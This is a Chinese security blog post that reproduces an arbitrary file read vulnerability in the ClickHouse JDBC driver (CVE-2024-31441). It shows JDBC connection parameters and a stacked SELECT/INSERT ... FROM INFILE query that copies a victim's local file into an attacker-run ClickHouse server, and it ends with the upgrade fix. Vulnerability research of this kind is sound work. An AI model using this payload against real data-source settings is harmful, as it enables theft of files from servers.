ClickHouse JDBC任意文件读取详解
文章介绍了一个ClickHouse数据库的任意文件读取漏洞(CVE-2024-31441),影响范围为JDBC版本0.4.x至0.8.x。通过设置特定的JDBC连接参数并利用可堆叠查询特性,攻击者可读取本地文件。修复方法是升级JDBC驱动至最新版本以消除漏洞。 2026-1-19 06:29:41 Author: www.freebuf.com(查看原文) 阅读量:0 收藏

freeBuf

主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

前言

最近遇到了能后台能设置数据源的系统,其中有ClickHouse数据库就研究了一番发现有个任意文件读取漏洞,但苦于网上的有效文章看来看去就那两篇,基本都是写的CVE-2024-31441的利用方法,所以自己稍微复现研究了下算是比较全面。

漏洞影响范围

0.4.x<ClickHouse JDBC<0.8.x

漏洞复现

1.部署clickhouse服务器,尽量使用版本在24.8.x的clickhouse-server,在测试中发现使用25等最新或者22旧版本的会导致clickhouse jdbc无法正常连接,现在大部分系统的jdbc都无法连接25版本。

1768803236_696dcba486ac7858a5cf0.png!small

1768803271_696dcbc7442c5fb784c35.png!small?1768803270619

2. 启动clickhouse服务器后,设置clickhouse允许互联网访问。在/etc/clickhouse-server/config.xml中将listen_host设置为0.0.0.0

1768803311_696dcbef4034feba12453.png!small?1768803311232

3.给clickhouse的默认账号default设置密码和允许远程访问,在/etc/clickhouse-server/users.xml中。

1768803359_696dcc1f2735c44f16873.png!small?1768803358589

4.此时需要登录进入clickhouse中,创建一个用于接收文件内容的表格,空表即可,这里我修改了clickhouse的tcp协议绑定端口为19000,这个是tcp协议端口,一般jdbc连接的都是http协议的8123端口。

1768803420_696dcc5cac0e62668cdcd.png!small?1768803420127

5.此时模拟jdbc连接字符串可控,在连接字符串中添加compress=0&localFile=true连接参数。

1768803482_696dcc9ae5ebfea773009.png!small?1768803482746

6.确保可以成功连接后,在sql语句中执行select version();INSERT INTO images FROM INFILE 'C:/Windows/win.ini' FORMAT CSV即可,其实直接使用INSERT INTO images FROM INFILE 'C:/Windows/win.ini' FORMAT CSV也可以将本地文件插入,但是实际攻击常见中,大部分允许用户设置数据源的系统都只给用户select的机会,所以这里利用clickhouse可堆叠查询的特性在select之后insert来插入数据。

1768803575_696dccf7bbe9a7ab082ec.png!small?17688035752201768803592_696dcd08ee5b7bbe50462.png!small?1768803592825

7.实测从jdbc驱动从8.x版本开始,这个漏洞就无法利用了,报错信息如下。

1768803653_696dcd45ee333ba610ae5.png!small?17688036536211768803672_696dcd58c7ad2a59a4de8.png!small?1768803672499

1768803685_696dcd65acb46fa17fcd0.png!small?1768803685256

漏洞修复方法

把ClickHouse JDBC升级到最新即可。

已在FreeBuf发表 0 篇文章

本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)


文章来源: https://www.freebuf.com/articles/vuls/467134.html
如有侵权请联系:admin#unsafe.sh